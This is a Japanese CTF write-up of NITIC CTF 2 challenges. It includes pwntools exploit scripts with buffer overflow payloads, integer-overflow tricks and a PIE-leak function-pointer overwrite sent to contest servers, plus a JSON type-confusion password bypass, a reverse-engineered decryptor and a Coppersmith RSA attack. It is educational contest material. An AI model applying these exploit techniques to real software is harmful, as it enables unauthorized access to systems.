NITIC CTF 2 Writeup
9/5 12:00 - 9/6 24:00 (JST)に開催されたNITIC CTF 2のWriteupです。
ソロチームで参加し、3501点獲得して正の点数をとった174チーム中15位でした。
Web
web_meta
web_meta.zipを展開して得られるsuper_cite.htmlのmetaタグにフラグが書かれている。
<meta name="description" content="flag is nitic_ctf{You_can_see_dev_too1!}">
long flag
開発者ツールでソースコードを見ると、spanタグにフラグが1文字ずつ書かれている。spanタグの中身を取り出して連結するだけ。
$ curl -s "https://quizzical-mcnulty-e4cdbf.netlify.app/" | grep -oE '<span>.</span>' | cut -c 7 | tr -d '\n' nitic_ctf{Jy!Hxj$RdB$uA,b$uM.bN7AidL6qe4gkrB9dMU-jY8KU828ByP9E#YDi9byaF4sQ-p/835r26MT!QwWWM|c!ia(ynt48hBs&-,|3}
password
fuzzy_equal
でパスワードのチェックを行っている。
def fuzzy_equal(input_pass, password): if len(input_pass) != len(password): return False for i in range(len(input_pass)): if input_pass[i] in "0oO": c = "0oO" elif input_pass[i] in "l1I": c = "l1I" else: c = input_pass[i] if all([ci != password[i] for ci in c]): return False return True
与えられたpassが文字列かどうかチェックされないので、["abc...XYZ", "abc...XYZ", ...]
のような配列をpassとして与えるとfuzzy_equal
のall([ci != password[i] for ci in c])
が常に成り立たなくなる。よって、fuzzy_equal
がTrueを返しフラグが得られる。
import requests import string password = [string.ascii_letters for _ in range(32)] res = requests.post("http://34.146.80.178:8001/flag", json={"pass":password}) print(res.text)
$ python solve.py nitic_ctf{s0_sh0u1d_va11dat3_j50n_sch3m3}
Pwn
pwn monster 1
Aを32個入力すればHP・ATKが非常に大きな値になり、pwnchuを倒せる。
nc 35.200.120.35 9001 ____ __ __ _ | _ \__ ___ __ | \/ | ___ _ __ ___| |_ ___ _ __ | |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__| | __/ \ V V /| | | | | | | (_) | | | \__ \ || __/ | |_| \_/\_/ |_| |_|_| |_|\___/|_| |_|___/\__\___|_| Press Any Key Welcome to Pwn Monster World! I'll give your first monster! Let's give your monster a name! +--------+--------------------+----------------------+ |name | 0x0000000000000000 | | | | 0x0000000000000000 | | |HP | 0x0000000000000064 | 100 | |ATK | 0x000000000000000a | 10 | +--------+--------------------+----------------------+ Input name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +--------+--------------------+----------------------+ |name | 0x4141414141414141 | AAAAAAAA | | | 0x4141414141414141 | AAAAAAAA | |HP | 0x4141414141414141 | 4702111234474983745 | |ATK | 0x4141414141414141 | 4702111234474983745 | +--------+--------------------+----------------------+ OK, Nice name. Let's battle with Rival! If you win, give you FLAG. [You] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApwnchu HP: 4702111234474983745 [Rival] pwnchu HP: 9999 Your Turn. Rival monster took 4702111234474983745 damage! [You] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApwnchu HP: 4702111234474983745 [Rival] pwnchu HP: -4702111234474973746 Win! nitic_ctf{We1c0me_t0_pwn_w0r1d!}
pwn monster 2
pwn monster 1と同様にHP・ATKを書き換えられるが、書き換えた後のHP・ATKの和が110でなければならない。
void give_monster_name(Monster* monster) { printf("Let's give your monster a name!\n"); print_monster_infomation(*monster); int64_t checksum = monster->hp + monster->attack; printf("Checksum: %ld\n", checksum); printf("Input name: "); scanf("%s%*c", monster->name); print_monster_infomation(*monster); printf("Checksum: %ld\n", monster->hp + monster->attack); if (monster->hp + monster->attack != checksum) { puts("Detect cheat."); exit(1); } puts("OK, Nice name."); }
HPを大きな値にしておいて、足したときにオーバーフローして110になるようにATKをセットすれば良い。ATK = (110 - HP) & 0xffffffffffffffff
とするとHP + ATK = 110
になる。
from pwn import * hp = 0x7fffffffffffffff attack = (110 - hp) & 0xffffffffffffffff payload = b"A" * 16 payload += p64(hp) payload += p64(attack) p = remote("35.200.120.35", 9002) p.recvuntil("Input name: ") p.sendline(payload) p.interactive()
$ python solve.py [+] Opening connection to 35.200.120.35 on port 9002: Done solve.py:13: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes p.recvuntil("Input name: ") [*] Switching to interactive mode +--------+--------------------+----------------------+ |name | 0x4141414141414141 | AAAAAAAA | | | 0x4141414141414141 | AAAAAAAA | |HP | 0x7fffffffffffffff | 9223372036854775807 | |ATK | 0x800000000000006f | -9223372036854775697 | +--------+--------------------+----------------------+ Checksum: 110 OK, Nice name. Let's battle with Rival! If you win, give you FLAG. [You] AAAAAAAAAAAAAAAA\xff\xff\xff\xff\xff\xff\xff\x7fo HP: 9223372036854775807 [Rival] pwnchu HP: 9999 Your Turn. Rival monster took -9223372036854775697 damage! [You] AAAAAAAAAAAAAAAA\xff\xff\xff\xff\xff\xff\xff\x7fo HP: 9223372036854775807 [Rival] pwnchu HP: -9223372036854765920 Win! nitic_ctf{buffer_and_1nteger_overfl0w}
pwn monster 3
cryのアドレスを元にshow_flagのアドレスを計算し、my_monster->cryにshow_flagのアドレスを書き込めばフラグが得られる。
from pwn import * elf = ELF("vuln") show_flag = elf.symbols["show_flag"] my_monster_cry = elf.symbols["my_monster_cry"] p p = remote("35.200.120.35", 9003) p.recvuntil(b"cry()") cry_addr = int(p.recvline().split(b"|")[1].strip(), 16) pie_base = cry_addr - my_monster_cry flag_addr = pie_base + show_flag payload = b"A" * 16 payload += p64(0x1337) payload += p64(0x1337) payload += p64(flag_addr) p.sendline(payload) p.interactive()
$ python solve.py [*] '/home/vagrant/nitic2/pwn_monster_3/vuln' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to 35.200.120.35 on port 9003: Done [*] Switching to interactive mode +--------+--------------------+----------------------+ Input name: +--------+--------------------+----------------------+ |name | 0x4141414141414141 | AAAAAAAA | | | 0x4141414141414141 | AAAAAAAA | |HP | 0x0000000000001337 | 4919 | |ATK | 0x0000000000001337 | 4919 | |cry() | 0x0000564e78377286 | | +--------+--------------------+----------------------+ OK, Nice name. Let's battle with Rival! If you win, give you FLAG. [You] AAAAAAAAAAAAAAAA7\x13HP: 4919 [Rival] pwnchu HP: 9999 Your Turn. nitic_ctf{rewrite_function_pointer_is_fun}
Misc
Excel
Excel上でnitic
と検索するとフラグが見つかった。
nitic_ctf{plz_find_me}
Image_conv
stegoveritasというツールにafter_flag.pngを投げるとフラグが描かれた画像ファイルが手に入った。
braincheck
Brainf*ckビジュアライザーを使ってポチポチしていると、フラグと異なる入力をした際に[<+>[-]]
の部分でメモリの0番地がインクリメントされていることに気がついた。[<+>[-]]
でコードを区切ると次のようになった。
>,>,[>+>+<<-]>>[<<+>>-]<<[-<->]<----- >>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]< >>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++[<----->-]<- >>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<------ >>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<---- >>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<-- >>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<---- >>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++[<----->-]<---- >>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++++++++++++++++++++++++++++++++++++++++++[<----->-]< >>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++[<----->-]<-- >>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<-- >>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<---- >>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<- >>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++[<----->-]< >>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<--- >>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<--------- >>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<------ >>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++[<----->-]<- >>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++[<----->-]<---- >>[<<+>>-]<,>>+<<<[-]<[[-]>+++++++++++++++++[<+++++>-]<++.>+++++[<+++++>-]<++.---.-.-------.>>>>-<<<<[-]]>>>>[[-]>+++++++++++++[<+++++>-]<++.>++++++++[<+++++>-]<++++.+++..>++[<----->-]<---.--.>+++[<+++++>-]<++.[-]]
[-<->]
以降を見ると<--...
のようなパターンと<>++...[<----->-]<--...
のようなパターンがあることがわかる。前者をpattern_1、後者をpattern_2とすると、それぞれ次のPythonコードのような処理を行っている。
""" before_char : current_charの1個前の文字 current_char: 直前に入力された文字 最初の`>,>,`で`ni`と入力したとすると、 before_char = 'n' current_char = 'i' """ # minus_num: <の後ろにある-の数 def pattern_1(before_char, current_char, minus_num): return (ord(before_char) - ord(current_char) - minus_num) & 0xff == 0 # plus_num: <>の後ろにある+の数 # minus_num: <の後ろにある-の数 def pattern_2(before_char, current_char, plus_num, minus_num): temp = ord(before_char) - ord(current_char) temp -= 5 * plus_num temp -= minus_num return temp & 0xff == 0
これをcurrent_char=
の形に変形することで、1個前の文字から次の文字が得られるようになる。先頭はn
だとわかっているため、フラグ全体を求めることができる。
def pattern1(x): def inner(before): return chr((ord(before) - x) & 0xff) return inner def pattern2(inc, dec): def inner(before): return chr((ord(before) - inc * 5 - dec) & 0xff) return inner patterns = [ pattern1(5), pattern2(len("+++++++++++++++++++++++++++++++++++++++++++++++++"), 0), pattern2(len("++"), 1), pattern1(6), pattern1(4), pattern2(len("++++++++++++++++++++++++++++++++++++++++++++++++++"), 2), pattern2(len("+++++++++++++++++++++++++++++++++++++++++++++++"), 4), pattern2(len("++"), 4), pattern2(len("+++++++++++++++++++++++++++++++++++++++++++++++"), 0), pattern2(len("++++"), 2), pattern2(len("++++++++++++++++++++++++++++++++++++++++++++++++"), 2), pattern1(4), pattern2(len("++++++++++++++++++++++++++++++++++++++++++++++++++"), 1), pattern2(len("+++"), 0), pattern2(len("++++++++++++++++++++++++++++++++++++++++++++++++"), 3), pattern1(9), pattern1(6), pattern2(len("+++++++"), 1), pattern2(len("++++++++++++++++++++++++++++++++++++++"), 4), ] flag = "n" for p in patterns: flag = flag + p(flag[-1]) print(flag)
$ python solve.py nitic_ctf{esoteric?}
Rev
protected
実行するとパスワードの入力を求められる。
$ ./chall PASSWORD: hoge Invalid password.
stringsで静的解析するとsUp3r_s3Cr37_P4s5w0Rd
という怪しげな文字列が見つかるので、それを入力するとフラグが得られる。
$ ./chall PASSWORD: sUp3r_s3Cr37_P4s5w0Rd nitic_ctf{hardcode_secret}
report
ファイルを暗号化してくれるencrypterとreport.pdf.encというファイルが与えられる。
次のコードは、Ghidraでencrypterのmain関数をデコンパイルしたものである。
undefined8 FUN_001014bd(int param_1,undefined8 *param_2) { char cVar1; int iVar2; undefined8 uVar3; FILE *__stream; FILE *__s; size_t sVar4; ulong uVar5; char *pcVar6; long in_FS_OFFSET; byte bVar7; int local_338; undefined local_318 [256]; undefined local_218 [255]; undefined4 uStack281; undefined auStack277 [261]; long local_10; bVar7 = 0; local_10 = *(long *)(in_FS_OFFSET + 0x28); if (param_1 < 2) { printf("Usage: %s ./file\n",*param_2); uVar3 = 0; } else { __stream = fopen((char *)param_2[1],"rb"); if (__stream == (FILE *)0x0) { printf("Could not open %s\n",param_2[1]); uVar3 = 1; } else { strncpy((char *)((long)&uStack281 + 1),(char *)param_2[1],0x100); uVar5 = 0xffffffffffffffff; pcVar6 = (char *)((long)&uStack281 + 1); do { if (uVar5 == 0) break; uVar5 = uVar5 - 1; cVar1 = *pcVar6; pcVar6 = pcVar6 + (ulong)bVar7 * -2 + 1; } while (cVar1 != '\0'); *(undefined4 *)((long)&uStack281 + ~uVar5) = 0x636e652e; auStack277[~uVar5] = 0; __s = fopen((char *)((long)&uStack281 + 1),"wb"); if (__s == (FILE *)0x0) { printf("Could not open %s\n",(long)&uStack281 + 1); uVar3 = 1; } else { do { sVar4 = fread(local_318,1,0x100,__stream); iVar2 = (int)sVar4; if (iVar2 < 0x100) { local_338 = iVar2; if (iVar2 == 0) break; while (local_338 < 0x100) { local_318[local_338] = 0; local_338 = local_338 + 1; } } FUN_00101209(local_318,local_218,local_218); sVar4 = fwrite(local_218,1,0x100,__s); if (sVar4 < 0x100) { printf("Failed to write to %s\n",(long)&uStack281 + 1); uVar3 = 1; goto LAB_00101738; } } while (iVar2 == 0x100); fclose(__stream); fclose(__s); uVar3 = 0; } } } LAB_00101738: if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) { return uVar3; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); }
2個目のdo
の中のFUN_00101209
で、ファイルを0x100byteごとに暗号化している。
次のコードは、FUN_00101209
をデコンパイルしたものである。
void FUN_00101209(long param_1,long param_2) { long in_FS_OFFSET; int local_11c; undefined8 local_118; undefined8 local_110; undefined8 local_108; undefined8 local_100; undefined8 local_f8; undefined8 local_f0; undefined8 local_e8; undefined8 local_e0; undefined8 local_d8; undefined8 local_d0; undefined8 local_c8; undefined8 local_c0; undefined8 local_b8; undefined8 local_b0; undefined8 local_a8; undefined8 local_a0; undefined8 local_98; undefined8 local_90; undefined8 local_88; undefined8 local_80; undefined8 local_78; undefined8 local_70; undefined8 local_68; undefined8 local_60; undefined8 local_58; undefined8 local_50; undefined8 local_48; undefined8 local_40; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined8 local_20; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_118 = 0xc2b5e93852ec1e72; local_110 = 0x27ea0f531f754746; local_108 = 0x2a898c8c6ed757cf; local_100 = 0x12e7a197b8a86f2; local_f8 = 0x7c9f5b2bd30815ab; local_f0 = 0x58826f3c985dde86; local_e8 = 0x9ef377a56285eaf2; local_e0 = 0x1b71a09e8b10373e; local_d8 = 0x650117b32f7e9dce; local_d0 = 0xf928e1ad2f795c14; local_c8 = 0xa65e121f693a9255; local_c0 = 0x28e33b47dadba441; local_b8 = 0x627c22fa9ce90908; local_b0 = 0x8e45e495862805d2; local_a8 = 0x426458ed66ebe7d2; local_a0 = 0x685191a02170a9ba; local_98 = 0x7abb33126ca97eff; local_90 = 0x1047cceede01bde; local_88 = 0xd3061b78361723cf; local_80 = 0xd4a5086985e255e; local_78 = 0xc22b726e96390c31; local_70 = 0xf9a944d74cdd310f; local_68 = 0xb0a67368b940edb7; local_60 = 0x4ce4b603372e3eef; local_58 = 0x6254f01074835dcb; local_50 = 0x846ea7ff5cdf28c1; local_48 = 0x3d175ba063eb3959; local_40 = 0x98777b218bcbee97; local_38 = 0x670388d4459a9d5; local_30 = 0xe951440710637bef; local_28 = 0x330c4a5a3dce2989; local_20 = 0x81d57f6dd1652132; local_11c = 0; while (local_11c < 0x100) { *(byte *)(param_2 + local_11c) = PTR_DAT_00104120[*(byte *)(param_1 + (ulong)(byte)(&DAT_00104020)[local_11c])] ^ *(byte *)((long)&local_118 + (long)local_11c); local_11c = local_11c + 1; } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
この処理をPythonで書き直すと次のようになる。
def encrypt(src: bytes, dest: bytes) -> None: for i in range(0x100): dest[i] = PTR_DAT_00104120[src[DAT_00104020[i]]] ^ local_118[i]
この関数と逆の処理を行って復号する。
import itertools import sys table = [87, 133, 14, 59, 165, 47, 76, 10, 113, 117, 213, 5, 255, 11, 68, 42, 212, 181, 17, 250, 103, 35, 189, 172, 156, 71, 157, 34, 90, 239, 99, 57, 229, 191, 126, 70, 100, 227, 46, 209, 185, 64, 146, 136, 169, 163, 2, 80, 196, 53, 125, 54, 207, 233, 184, 150, 173, 152, 102, 116, 134, 195, 236, 15, 28, 81, 232, 31, 193, 217, 22, 127, 192, 168, 244, 52, 194, 25, 55, 234, 24, 66, 139, 237, 218, 161, 40, 30, 60, 110, 167, 138, 9, 149, 148, 109, 158, 61, 74, 143, 140, 39, 95, 231, 222, 248, 224, 114, 106, 130, 145, 235, 8, 249, 245, 226, 33, 45, 225, 243, 198, 186, 122, 115, 1, 93, 206, 63, 89, 238, 203, 96, 65, 210, 88, 246, 180, 85, 120, 98, 112, 78, 178, 164, 187, 219, 220, 41, 155, 151, 247, 36, 118, 75, 147, 160, 67, 204, 123, 230, 56, 162, 101, 197, 216, 58, 38, 141, 105, 199, 188, 7, 37, 177, 94, 251, 176, 19, 119, 175, 73, 153, 205, 202, 4, 190, 108, 183, 86, 107, 23, 128, 135, 43, 69, 129, 142, 104, 241, 83, 51, 166, 253, 211, 13, 44, 20, 124, 32, 131, 144, 79, 26, 137, 240, 254, 50, 223, 214, 6, 27, 208, 170, 174, 121, 221, 132, 228, 3, 18, 154, 111, 171, 215, 29, 62, 201, 12, 159, 48, 16, 84, 179, 242, 21, 97, 92, 182, 49, 91, 77, 200, 252, 72, 82, 0] data = [6, 140, 119, 134, 17, 237, 37, 137, 102, 100, 121, 125, 201, 13, 165, 153, 68, 107, 113, 71, 170, 158, 27, 10, 195, 191, 30, 110, 166, 130, 240, 97, 132, 53, 66, 144, 135, 178, 176, 194, 61, 244, 18, 115, 69, 62, 233, 205, 38, 65, 51, 164, 91, 45, 83, 232, 58, 197, 188, 24, 229, 186, 129, 235, 88, 159, 73, 204, 47, 172, 207, 138, 11, 72, 36, 156, 162, 180, 21, 208, 31, 25, 211, 22, 243, 7, 75, 120, 128, 52, 226, 49, 193, 87, 0, 126, 94, 112, 84, 33, 105, 155, 70, 106, 182, 203, 154, 64, 185, 23, 109, 89, 252, 234, 96, 50, 223, 117, 227, 98, 56, 167, 133, 215, 3, 241, 131, 181, 85, 95, 238, 253, 173, 14, 108, 163, 32, 192, 19, 8, 2, 90, 114, 157, 93, 251, 136, 147, 249, 57, 116, 216, 210, 79, 4, 103, 63, 206, 225, 77, 213, 202, 44, 148, 43, 219, 9, 42, 55, 231, 149, 41, 78, 34, 1, 15, 220, 212, 200, 86, 122, 20, 248, 184, 48, 67, 168, 169, 245, 141, 92, 171, 111, 150, 26, 35, 74, 12, 46, 81, 214, 146, 199, 82, 142, 228, 76, 101, 104, 151, 187, 5, 221, 190, 239, 139, 183, 152, 118, 196, 218, 179, 123, 161, 54, 160, 145, 175, 246, 250, 224, 16, 39, 28, 189, 254, 80, 222, 124, 242, 177, 174, 198, 217, 230, 60, 209, 127, 255, 99, 29, 236, 59, 143, 40, 247] xor_data = [0xc2b5e93852ec1e72,0x27ea0f531f754746,0x2a898c8c6ed757cf,0x12e7a197b8a86f2,0x7c9f5b2bd30815ab,0x58826f3c985dde86,0x9ef377a56285eaf2,0x1b71a09e8b10373e,0x650117b32f7e9dce,0xf928e1ad2f795c14,0xa65e121f693a9255,0x28e33b47dadba441,0x627c22fa9ce90908,0x8e45e495862805d2,0x426458ed66ebe7d2,0x685191a02170a9ba,0x7abb33126ca97eff,0x1047cceede01bde,0xd3061b78361723cf,0xd4a5086985e255e,0xc22b726e96390c31,0xf9a944d74cdd310f,0xb0a67368b940edb7,0x4ce4b603372e3eef,0x6254f01074835dcb,0x846ea7ff5cdf28c1,0x3d175ba063eb3959,0x98777b218bcbee97,0x670388d4459a9d5,0xe951440710637bef,0x330c4a5a3dce2989,0x81d57f6dd1652132] xor_data = [*itertools.chain.from_iterable(list(x.to_bytes(8, "little")) for x in xor_data)] if len(sys.argv) != 2: print("Usage: python decryptor.py <enc file>") exit(1) with open(sys.argv[1], "rb") as f: result = b"" while (enc_data := f.read(0x100)): chunk = [0] * 0x100 for i in range(0x100): chunk[table[i]] = data.index(enc_data[i] ^ xor_data[i]) result += bytes(chunk) with open("output", "wb") as f: f.write(result)
出力されたファイルを開くとフラグが得られた。
nitic_ctf{xor+substitution+block-cipher}
Crypto
Caesar Cipher
CyberchefのROT13でAmontの値を1ずつずらしていくとcaesar
が出てきた。
nitic_ctf{caesar}
ord_xor
xorの性質から、暗号化処理をもう一度行うと平文が得られることがわかる。
enc_flag = open("flag").read() def xor(c: str, n: int) -> str: temp = ord(c) for _ in range(n): temp ^= n return chr(temp) for i in range(len(enc_flag)): print(xor(enc_flag[i], i), end="")
$ python solve.py nitic_ctf{ord_xor}
tanitu_kanji
import os alphabets = "abcdefghijklmnopqrstuvwxyz0123456789{}_" after1 = "fl38ztrx6q027k9e5su}dwp{o_bynhm14aicjgv" after2 = "rho5b3k17pi_eytm2f94ujxsdvgcwl{}a086znq" format = os.environ["FORMAT"] flag = os.environ["FLAG"] assert len(format) == 10 def conv(s: str, table: str) -> str: res = "" for c in s: i = alphabets.index(c) res += table[i] return res for f in format: if f == "1": flag = conv(flag, after1) else: flag = conv(flag, after2) with open("./flag", "w") as file: file.write(flag)
formatの長さは10であるから、組み合わせは通りしかない。そのため、全探索で求められる。
import itertools alphabets = "abcdefghijklmnopqrstuvwxyz0123456789{}_" after1 = "fl38ztrx6q027k9e5su}dwp{o_bynhm14aicjgv" after2 = "rho5b3k17pi_eytm2f94ujxsdvgcwl{}a086znq" tables = [ str.maketrans(after1, alphabets), str.maketrans(after2, alphabets), ] enc_flag = open("flag").read() for pattern in itertools.product(range(2), repeat=10): temp = enc_flag for p in pattern: temp = temp.translate(tables[p]) if temp.startswith("nitic"): print(temp)
$ python solve.py nitic_ctf{bit_full_search}
summeRSA
平文の大部分がわかっている、なおかつeの値が十分に小さいので、Coppersmith's attackで平文が求められる。Coppersmith's attackについてはこちらを参考にした。
from Crypto.Util.number import * N = 139144195401291376287432009135228874425906733339426085480096768612837545660658559348449396096584313866982260011758274989304926271873352624836198271884781766711699496632003696533876991489994309382490275105164083576984076280280260628564972594554145121126951093422224357162795787221356643193605502890359266274703 e = 7 c = 137521057527189103425088525975824332594464447341686435497842858970204288096642253643188900933280120164271302965028579612429478072395471160529450860859037613781224232824152167212723936798704535757693154000462881802337540760439603751547377768669766050202387684717051899243124941875016108930932782472616565122310 beta = 1 epsilon = beta^2/7 nbits = N.nbits() kbits = 64 mbar = bytes_to_long(b"the magic words are squeamish ossifrage. nitic_ctf{") << (8 * 8) PR.<x> = PolynomialRing(Zmod(N)) f = (mbar + x) ^ e - c x0 = f.small_roots(X=2^kbits, beta=1) if x0: m = mbar + x0[0] print(long_to_bytes(m))
$ sage solve.sage b'the magic words are squeamish ossifrage. nitic_ctf{k01k01!}'